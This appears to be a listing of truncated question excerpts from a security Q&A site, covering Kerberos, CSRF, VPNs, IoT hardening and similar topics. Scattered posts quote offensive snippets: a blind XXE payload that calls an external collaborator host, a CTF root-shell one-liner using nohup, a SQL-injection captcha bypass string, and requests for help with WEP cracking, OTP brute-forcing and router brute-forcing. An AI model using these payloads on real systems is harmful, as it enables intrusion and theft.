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As far as I know, in order to create a Golden Ticket, the attacker needs to obtain the krbtgt's password's hash, which is not a trivial task. My question is: is it possible to find the krbtgt's password by getting a legitimate TGT (encrypted with the krbtgt's password's hash) from the Authentication Server and cracking...
I'm trying to build a system as follows: User 1 is a low permission user. They will be using their phone and at some point will need to do a secure action. User 2 is an admin user and will be in the same room as user 1. User 2 will generate a temporary code on their own device (could be a phone or desktop), and then v...
I'm interested in how I can secure my IoT devices from hackers. Particularly, I have a Xiaomi hub and a range of child devices for it. Also, how to secure devices that communicate using the Zigbee protocol. I'm looking for some advanced tips. I browsed the web and all I could find are pretty basic tips like: Create a ...
I am a long-time Firefox user and remember that usually the UAC prompt popped up when Firefox updated itself. Some months ago (or is it years?), Firefox obviously changed the way it updates itself: I didn't see the UAC prompt since then in such situations. The updates were performed as expected, though. So far, so good...
Once you plug it into a phone and power it on, the IMEI number of the phone and the SIM's serial number will be transmitted to the nearest cell tower(s). source Is there a way to spoof the location of a SIM/IMEI that is connected to a smartphone? I remember a few years ago I played with XPrivacy (XPosed) but I saw an...
How safe are we when we use phone hardware from untrusted manufacturers and use end-to-end encrypted communication like Signal and Telegram? Are our conversations really safe from keyloggers or spyware? And what is the best option to communicate safely?
My home router's configuration interface shows a device I don't know, connected via WiFi to my local network. According to the router's history, that device connected to it several days ago. It is named "PC-24". I know for a fact that this device is not in my home. I have an iPhone connected via WiFi and a Windows lapt...
Is this a good idea to make the following text message encryption: accept text from the user 1 store the text into a document in the form of some handwritten font convert the document into an image apply noise to the image encrypt the image somehow (hide the fact it is image) send the image to the user 2 show the imag...
So I accidently clicked some sketchy website called "doxbin.org" and in that website clicked a dox called "rapey org owner" and I realised I can't deletet search history because of my school administrators so I'm sooo paranoid do they see that I'm also on a school provided device so I am 99 percent sure they can see th...
I am having trouble with some user input security. I have a Flutter app where users can submit comments that can contain text e.g. a-z characters, numbers, symbols and emojis. These are stored in a Firestore database. I have performed checks to ensure the type of the comment is a string and not over a maximum size but ...
Does a TPM replace the default device's security, or add to it? I will try to re formulate it into 2 questions, just to explain what my question is, since I am not very good at English writing. If we take randomness as a example: Does the TPM replace the device's own ability to generate its own randomness? (The rando...
I've read different articles about https://1.1.1.1/ and am confused since they conflict. A couple examples: effectively making your traffic invisible to snoopers on your local network but not providing an anonymised connection to the sites you're accessing at the other end - https://www.wired.co.uk/article/cloudflare-...
A webapp has an img tag that partially takes userinput like so: <img src="/blah/blah/$USERINPUT.jpg"> where the first / is from the root of the domain. Could there be a vulnerability here? Potentially using ../ and then attempting path traversal?
A web server logs the client IP address but without the last octet due to GDPR, as well as other data such as URI, date, time, cookie, User-Agent etc. Can law authorities identify a wrongdoer based on the logs from the web server, including the truncated IP address, and the logs from the ISP? I assume they have a subpo...
Our organization is having problems with hackers/spammers. In order for them to enter our webpage, we require the user to enter an email address and we send them a verification code to that email address. At first, they would use a temporary email address (like @sharklasers) to get the code but we've since blocked th...
I was directed to post my question here from stackoverflow. Need some guidance implementing a policy. Specifically a block removable storage policy. Let's say I have 100 computers named PC1-PC100. PC1-PC10 need to allow removable storage no matter whom logs in. Additionally, a couple user accounts need access to remova...
We have a distributed product where one server acts as a 'Scheduler' of jobs and there are hundreds if not thousands of 'Agents' which receive commands from the 'Scheduler' and execute the jobs. The communication between the Scheduler and the Agents wasn't secured with TLS till now. We had a symmetric key encryption im...
Let's say I have a website which uses 4 digit OTP based authentication for login i.e. users will enter their mobile number, receive OTP on the entered mobile number, enter the received OTP to login successfully. I have an approach on how to crack such a login based mechanism if I have access to a subset of all register...
In one of the applications I'm testing, the cookie contains the username (set:cookie: username) in the HTTP header. Is it possible to read these cookie values using any methods? The site uses HTTPS.
Let me prefix this by saying I am aware of how HTML e-mails can implement trackers and other malicious content, however this question is quite specific. Consider a service where a company can register its users, and on certain events, an e-mail is sent to the user(s) of that company. Those e-mails should be fully custo...
Having an Ubuntu server with current software, updated daily, every 5 days or so someone gains root access. I know that from log watch. I search the logs for his ip and it doesn't show up. He is probably using a VPN as once it's in china, then Athens, then Russia. Even if I send the logs every 10 minutes to another ser...
We are integrating our services with 3rd party companies (ie customers are able to buy the products of third party companies on our platform). These companies are asking us to provide to their security teams a penetration test. Although we have several quotes from security companies for them to provide penetration test...
The other developer and I have two different views on storing sensitive data. So, the token is only accessible at run time in a global variable right now, but I suggested moving the token to be stored in the Keychain and therefore encrypted, but he says that it is more secure to be stored as a global object because it ...
How can I execute docker pull (with Docker Content Trust enabled) such that it fails if the image doesn't have a valid signature using the private key corresponding to (or subordinate to) the public key that I provide? I just discovered that, in fact, DCT silently and dumbly downloads and trusts (TOFU) the root key whe...
I have done the message header lookup but the problem is that the 1st result for the from field is blank, so I would like to know can someone with a bit more experience then the basic knowledge of reverse lookups give me some advice with the following header: Received: from CO1NAM03HT178.eop-NAM03.prod.protection.outlo...
I'm trying to figure out if I completely understand CSRF security properly. Based on this OWASP cheat sheet. In all scenarios it seems like your frontend has to have the CSRF token somewhere so that when a request is sent to the backend, it can compare both the csrf token in the cookie/session to the request. That way ...
Have noticed that I can scan the network though I have set an arp limit rate on the Cisco switch switchport and need some recommendations. The previous engineer set an arp rate limit of 200 and probably with good reason too... looking at you Windows OS! :-) But that allowed strangers to connect their laptops to the net...
I have a somewhat basic understanding of how entropy relates to password strength - generating a password with a truly random selection from some set (whether that's characters, or a set of dictionary words, or whatever else) gives increasing entropy as either the size of the set and/or the number of selections increas...
I'm new to RFID blocking and find it interesting. I came across this video to learn more and just have 2 questions https://www.youtube.com/watch?v=NKwJwOm3bfI Why would Vaultcard (4:42-5:30) protect both sides while Antetoko (8:47-9:20) protects one side? Are there different types of shields I need to be aware of? If m...
I am doing WEP attack test using FMS method (Fluhrer, Mantin and Shamir), but not capturing enough 4,000,000 to 6,000,000 IV. Please show me how to catch enough IV.
I suddenly see a strange thing when developing my Flutter application. My application that I'm developing is not asking for permissions, it does not need any permissions. But when I debug the app in my own physical Android phone device, I see that logs below which it looks like the camera is open and recording. I have ...
Let's say we have an elf a and a textfile a.txt in the same directory. The a elf is a program, that is remotely accessible/executable. In addition a contains the instruction fgets(buf,len,stdin); and a remote attacker manages to get full control over the stdin object. Is the attacker able to reliably generate a file st...
So with https, someone can still see what website I visited, but not which pages within that website I visited, correct? why isn’t the whole process of connecting to a website - from when I start typing the website name on the browser - encrypted? Is there a protocol/technology that actually provides encryption for t...
If a user sets up a stock Android device to use a VPN and uses the "Always-on" setting, can they be sure[1] that no traffic will leak outside of the VPN? [1] Assuming no malware is installed by the user and the OS is not trying to deliberately circumvent the VPN secretly.
Do commercial AV suites examine image files (pictures) for potential malware that might be imbedded via steganography? Is this a concern for most? I deal with a lot of imagery data and am wondering what the risk of exposure is.
Inspired by the many data leaks where whole databases/tables with personal user information were leaked, what are best practices to protect those assets? I‘m especially concerned if someone was able to get access to backend code (which definitely should not be the case) and therefore acquire the SQL credentials. I‘m st...
I have a browser extension. I would like to use this browser extension to send the cookie from site A to site B. I’m doing this because I want to scrape site A from site B, but this is obviously a use case browsers specifically designed against so I’m not sure how to handle it. It doesn’t seem like I can use the normal...
I am way out of my depth here. We have just had a pentest done, and we had one critical finding: if (file_exists($includeFile)) { $f_type = filetype($includeFile); if ($f_info['extension'] == 'md') { $markdown = file_get_contents($includeFile); HTMLClass::show($markdown, FALSE, FALSE, FALSE, TR...
Is https://div.show/options fraud/malware? I saw via https://app.uriports.com that a customer tried to load the page mentioned before and it was blocked thanks to CSP.
I am playing ctf and I have gained access to the target machine but not as root. I can see nohup utility has root access on the machine and I used this command to get the root access but that did not work: nohup /bin/sh -p -c “sh -p <$(tty) >$(tty) 2>$(tty)” -bash: $(tty)”: Permission denied Can anybody please help m...
I'm trying to crack a password, whose hash was formed by first concatenating a known salt, the password and and another known salt, then applying sha256 and then truncating that to 32 characters. So: truncate(sha256(salt1 + pw + salt2) How can I use JTR for example to help solve this?
I am pushing my way through some beginner level security readings and exercises (ECSA 1 & 2) without much of a networking background. I happened upon an interesting suggestion or command: to use nmap -sU -p 23 target to find out if a target is running a telnet service. I hopped over to the telnet Wikipedia page and fou...
i got till moment when i do not know if it is secure! If SQL injection is inserted into myTableTwo via safe PDO query will it make my query below SQL injection open? Is the query below safe? $mysfield returns SHOW COLUMNS FROM myTable myTable columns match myTableTwo columns $sql = $pdo->prepare("INSERT INTO myTable ("...
Since about 2 weeks, I am receiving from time to time (about 2-3 times per week) similar emails: What do I have: A VPS (webserver) with Wordpress, configured to send emails via SMTP, thanks to the WP SMTP Mail plugin. A VPS - only mailserver What did I do: Upgraded wordpress, all the plugins. Checked if there are u...
Recently I was sent a WhatsApp verification code, though I did not ask for it. Later a scammer ask for the code, saying they "accidentaly" sent it to me. Now I am sent MojiLaLa verification codes. (I do not have that app installed.) They are 4 digits codes, and I was just sent hundreds of it. So there is a good chance ...
Alice just sent a message to Bob, but prior to that she had already sent the very same message. How can Bob prove that?
I am having a problems defining the flow of an application that is supposed to be authenticated / authorized securely with an SPA frontend. Currently using an SPA with a Spring application server as a backchannel / client for Oauth2. The spring application / client will be used to communicate with the IDP provider to e...
I want to prove that the source code I am using is the same as the open-sourced version, which is publicly available. My idea was to publish a hash of the open-sourced version and compare it to the hash of the deployed server at boot. However, because the open-sourced hash is available pre-deployment, it is possible fo...
We have most of our SSL certificates hosted at GoDaddy but have Standard Code signing certificate from GlobalSign, we would like to switch to GoDaddy CSC since our CSC from GlobalSign is expiring in 3 months. How would this affect MS SmartScreen, would we have to build our "reputation" again? Or does MS only care about...
To implement some automatic rules that run scripts in Outlook, you now (following the KB3191883 update in 2017) have to set the EnableUnsafeClientMailRules in the registry. A lot of online tutorials mention to do this, but do not describe the impact. How unsafe is it?
I'm seeing token scopes as more of a contract between what a third-party application can do on behalf of some user's consent. Therefore, let's say a client asks a Resource owner to authenticate and includes scopes telling the user it's only going to be able to read their data. Surely the client can just go ahead and re...
How can the CSRF happen if browsers do not allow cross-origin requests by default? Here is a brief CSRF overview, which is relevant for the question. CSRF (i.e. cross-site request forgery) is a type of attack. For the attack to happen, the following points should apply: Back-end (BE) app should use cookies for authent...
This tutorial shows how to find a JMP ESP in nttdll.dll http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/ Find address for EIP In this step we have to check the registers and the stack. We have to find a way to jump to our buffer to execute our code. ESP points to the beginning of the C part of ...
I'm using openssl for a project and came across two options: -k passphrase and -K raw_key (hex). What's the difference between the two options? I've been attempting to port something from openssl to Python, and the openssl command I'm using for my basis uses -k [32-bytes_of_hex_data], which yields an entirely different...
I'm not a crypto/security expert and have designed an architecture for encryption/decryption. I'm not sure if its full proof and want to know what people use as industry standard? I'm trying to perform encryption/decryption in RESTful api where client sends encrypted payload and server decrypts it and does some process...
I run a website that allows people to create accounts with an email address address and a password. Over the last month, I have had about 100 accounts created with email addresses that look like this: pa.rk.i.n.g.x.pe.rtdon.ma.na.h.a.n.@gmail.com (always with lots of dots) and the provided name is one of Robertskala ...
Assume that someone gains access to the password used for my key store containing my server certificate and it’s private key. I guess without direct access to the server running my application the actual private key cannot be extracted? So as long as no one can ssh or similar to the machine containing the keystore with...
I'm learning about certificates, and would like to understand: How is it possible for intermediate certificates to not include a CA Issuers part? Is it not a must so that clients can figure it the Chain of Trust? I'd like to give here 2 examples: One whose intermediate certificate includes a CA Issuers (*.stackexchange...
I have an ASUS laptop with Windows 10 that I want to factory reset. I used it for many years and did some torrenting with it in the past, so I wouldn't be surprised if something went wrong when it comes to security. The steps I would follow are these: https://www.asus.com/en/support/FAQ/1013065/ I would rather factory ...
I found an SD card at airport security. It's a higher-end card and 64GB. I'm guessing that it's probably from someone's camera and likely has photos on it that they would like returned. Is there a safe way form me to view the contents with the goal of possibly returning it to the owner?
There are URLs which its only purpose is to redirect the HTTP requestor to a correct website. Say, if I tried to access example.com/0wa/RaNd0m from my computer, it would redirect me to wikipedia.com. But if I tried it from my Virtual Machine in AWS, it would redirect me to a malicious site. Why is the final web page di...
For platform hardware independence, a proposal to host a SFTP server within a containerized environment was being considered. A container or pod would have the server running within it, with mounted host directories for file related operations. I am not certain how secure this proposal could be, both from SSH and docke...
I am trying to disable ciphers using jdk.tls.disabledAlgorithms. I have created a properties file named disabledAlgorithms.properties and it is has jdk.tls.disabledAlgorithms=AES_128_CBC,SHA1,SHA256. I am passing this property file as java -Djava.security.properties=disabledAlgorithms.properties Here I have used SHA1 t...
I had a discussion with a friend today about his password hash comparison. I argued that you can't return false on the first hash mismatch you have and I sent him a link to an article about a Java timing attack that happened in Java 6. public static boolean isEqual(byte digesta[], byte digestb[]) { for (int i = 0; ...
The situation: Currently, we are sending out emails and SMS to our users, which include a link to a form that each user has to fill out on a regular basis (an "eDiary"). As we need to be able to authenticate and authorize the user accordingly, we currently attach a jwt token as a query parameter to the link as we want ...
SCENARIO: I successfully tried to send a request to the burp collaborator, then the application is vulnerable to SSRF through blind XXE. The payload I used is the following <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://{burp_url}.burpcollaborator.net"> ]> <xxx>&xxe;</xxx> If I u...
I've been seeing a large number of companies, including Cloudflare who just sent out a notice to their customers about enabling HTTP/3 via QUIC recently, touting HTTP/3 based on QUIC as 'much better' than the older HTTP protocols. I understand the underlying improvements QUIC and HTTP/3 will introduce - bandwidth handl...
For example, can you reference a customer by their domain in an email? Each customer in a system can be associated with a domain, and some domains are associated with a single customer.
Feel free to correct my below logic. As far as I can tell, HF RFID tags (specifically I've tested MiFare Classic 1kb) have a 48-bit encryption key (default to 0xFFFFFFFFFFFF or something) to protect their contents. A quick Arduino RFID reader I connected together showed me that indeed the blank cards I had purchased co...
I am currently trying to establish a VPN connection from my Windows 10 Enterprise 1909 to a remote VPN gateway, using the built-in Windows VPN / IPSec client. Since the UI does not provide all options I need, I have created and fine-tuned the VPN connection with Powershell (using an account with Administrator rights): ...
I have recently started getting the occasional spam mail after not having this problem for several years. As far as I know spammers typically obtain mail addresses via data breaches or by crawling the web for mail addresses carelessly made public via forum posts etc. I don't think the former applies to me so I was wond...
My Mother received an e-mail, from some unknown mail adress. The content of the mail, was: "Hello you should look at this: ... " After this there was an old email correspondence with her lawyer, not really sensitive data, but still. There was a .zip file attached, the file name beeing some long number. She didn't try t...
At CERN the WiFi used, is not using any encryption. This means that it is a plain, standard Wi-Fi network with no authentication. However, it is mandatory to register each device when first connecting to this internal network, for security purposes. Obviously, the device model, name of the owner, MAC address and the MA...
I'm having a webservice which I'm using for my app. The webservice is using cookies when authenticated. I want to give my users the option to login via TouchID for faster login. Therefore I'm storing the users username and password in the iOS keychain and release it when the finger is accepted and it is also necessary ...
I would like to design a REST API endpoint (POST) that takes in some sensitive identifier information in the request body: { "someDataToSearch": "abcdefgh" } I then want to hash abcdefgh and search for that hash in our DB and return the corresponding entity, which will have been generated and stored in the DB prior...
I have been using pgp for years now, but usually email the person my public key and compare its fingerprint over the phone or give it to them in person on a stick. I thought I might try out the key servers a while ago and uploaded a public key with: gpg --send-keys --keyserver keyserver.ubuntu.com C3582062D32255323DEAB...
I am looking for a modern, password manager-based way to share my passwords with certain parties (partner, executor of my will) within a week or so of my death, but no sooner. The scenario I wish to avoid is the loss of my assets and/or breach of my privacy during my lifetime. My threat model includes betrayal of trust...
I have a server, which receives text mails from students and I plan to automatically collect their message bodys and parse them as markdown so that I can generate a nicely formatted output as pdf. Is there anything I need to be cautious of if I automatically do this parsing? Is there anything I need to intercept to avo...
The newly released computer game Genshin Impact must be run as administrator on Windows 10. Millions of people have downloaded this game. It runs on multiple platforms, however I assume that a signification proportion of the downloads are being run on Windows 10 as administrator. There is almost no reference to the req...
I have a package to be shared to Bob which contains: an encrypted data.zip Application, which will have logic to decrypt the data Bob will run Application and it will decrypt the data.zip. Now for the decryption key. I understand that I can maintain a key store where I can keep the key securely which my Application w...
Typically, HTTPS redirection happens like this: The user clicks or types an HTTP link, e.g. http://example.com/url. If the browser has seen a Permanent (301) redirect to HTTPS for that exact URL, it follows it, skipping steps 4 and 5. The browser does a DNS lookup for example.com (if not already cached). The browser c...
As part of auditing, I have to find whether an Excel file is modified by anyone after it was created in 2018 by the original user on a Windows 7 computer. I had verified the creation, modified and accessed info available in file. All this info are of 2018 and believing these timestamps, I submitted a report that the fi...
While I'm trying to do a bruteforce attack on my router using routersploit. Im getting the error rsf (HTTP Basic/Digest Bruteforce) > run [*] Running module creds/generic/http_basic_digest_bruteforce... [-] Resource / is not protected by Basic/Digest Auth I'm able to understand that the path may be the problem here. r...
Google-fu is failing me, and I could not find documentation that answers the following question: if an application uses Windows machine key or user key to encrypt certain data, and the encrypted data is still available, but machine becomes inoperable (hard drive failure, erroneously formatted drive, etc.), how can keys...
I have a web application talking to a PostgreSQL database. My threat model is the following: Attacks must not occur at rest. What i'm afraid of is unwanted deletion of data on a specific table, let's call it the data table. What i mean by "unwanted deletion" is deletion of rows inside the data table that would not be d...
This blog post from 2016 shockingly implies that gmail will accept an email if either SPF or DKIM passes. We use G suite SMTP servers, therefore SPF provides almost zero protection from spoofing. Is this still the case? Since DMARC only needs one policy to succeed, would implementing DMARC with SPF+DKIM guarantee the ...
I have written the following rule in my Suricata rules file: alert tcp any any <> any any (flow:established; content:"|65|"; offset:0; depth:1; byte_test:1, =, 3, 2, bitmask 0x03; msg:"detected"; classtype:bad-unknown; sid:222; rev:1; priority:1;) But it shows the following error because of the bitmask: ... [ERRCODE: ...
I make email client over IMAP protocol. To "remember" user's connection details (email, password, host, etc.) I need to store password in plain text, because otherwise I won't be able to open connection again. Is there is a way to open IMAP connection usinng hashed password? Any other solutions are welcome.
I'd like to know if it's possible to protect communications between a heavy client on a machine and a remote server accessible by a web interface on this machine using certificates. Or the only way is to set a certificate for the whole client machine ? Thank you for your help.
I am attempting to build an application that submits numerous fetch/XHR requests to a NodeJS backend. I'd like to implement CSRF token protection, but would like to avoid implementing server-side rendering/templating or middleware on the frontend (trying to go as vanilla JS as possible on frontend). This means I can't ...
Although openssh is awesome, I'm interested in exploring some more lightweight FLOSS alternatives to use for connecting to servers I'm administrating (and using alone). Since I only need a minimal set of features (only public-private-key authentication, only a single (secure) algorithm like ed25519) and I'm aware that...
I am required to login to the university VPN when I am off-campus, in order to connect to a server to submit assignments for a specific class. Is the university able to see what I am doing while I am connected to the VPN? It is called cisco anyconnect secure mobility client.
Say I have a "Login Data" Chrome file that is encrypted with the user's Windows password. Is there a way I can brute-force the file and try to decrypt it using every password possible?
I'm creating (what I believe to be) a cryptographically hard to guess session key to keep my users logged in by generating 32 random bytes (using crypto.randomBytes). I'm storing this in a cookie (as hex). The website will be using TLS. The cookie library I'm using offers an option to sign the cookie with hmac sha256, ...
Trying some malicious injection against bWAPP and came across bypass captcha Filter validating captcha is if($_POST["captcha_user"] == $_SESSION["captcha"]) Tried input 1' || '2 but it doesn't bypass logical condition.
I'm trying to set up a multi factor authentication using PKIs certificates. A PKI infrastructure is ready to use and i'm planning to put these certificates on smart cards. I was looking for a smart card reader and I came across this one : https://www.amazon.ca/-/fr/Gemalto-Idbridge-CT30-USB-lecteur-carte/dp/B00G46Y7CG?...
I am testing web application firewall and I have installed ModSecurity 2.9 runs Core ModSecurity Rule Set ver.2.2.9 and to test on Web application I also install DVWA Platform: Windows and trying to do Command Inject and it allows even if I included rules for command inject modsecurity_crs_40_generic_attacks.conf ...
I was looking around to see if wedge attacks on EMV cards are still viable or a solution has been implemented, and if so, have attackers found another way around the solution? The latest literature or post I can find goes back to 2010-2012.
The title really says it all. I'm starting to dig a little bit into computer security and from what I've watched or from what I have read in books or articles there's always a mention of basic smart cards (e.g. Chapter 3, “Scenarios for Using TPM 1.2” from “A Practical Guide to TPM 2.0”). I understand TPM is a chip wit...
I have found multiple sources telling me otherwise, but most are outdated by a year or two. If I am logged into my G-suite managed account on google, and search something up on a home network and personal device, can my school still see my browsing history? If it makes a difference, in Web and App Activity the option f...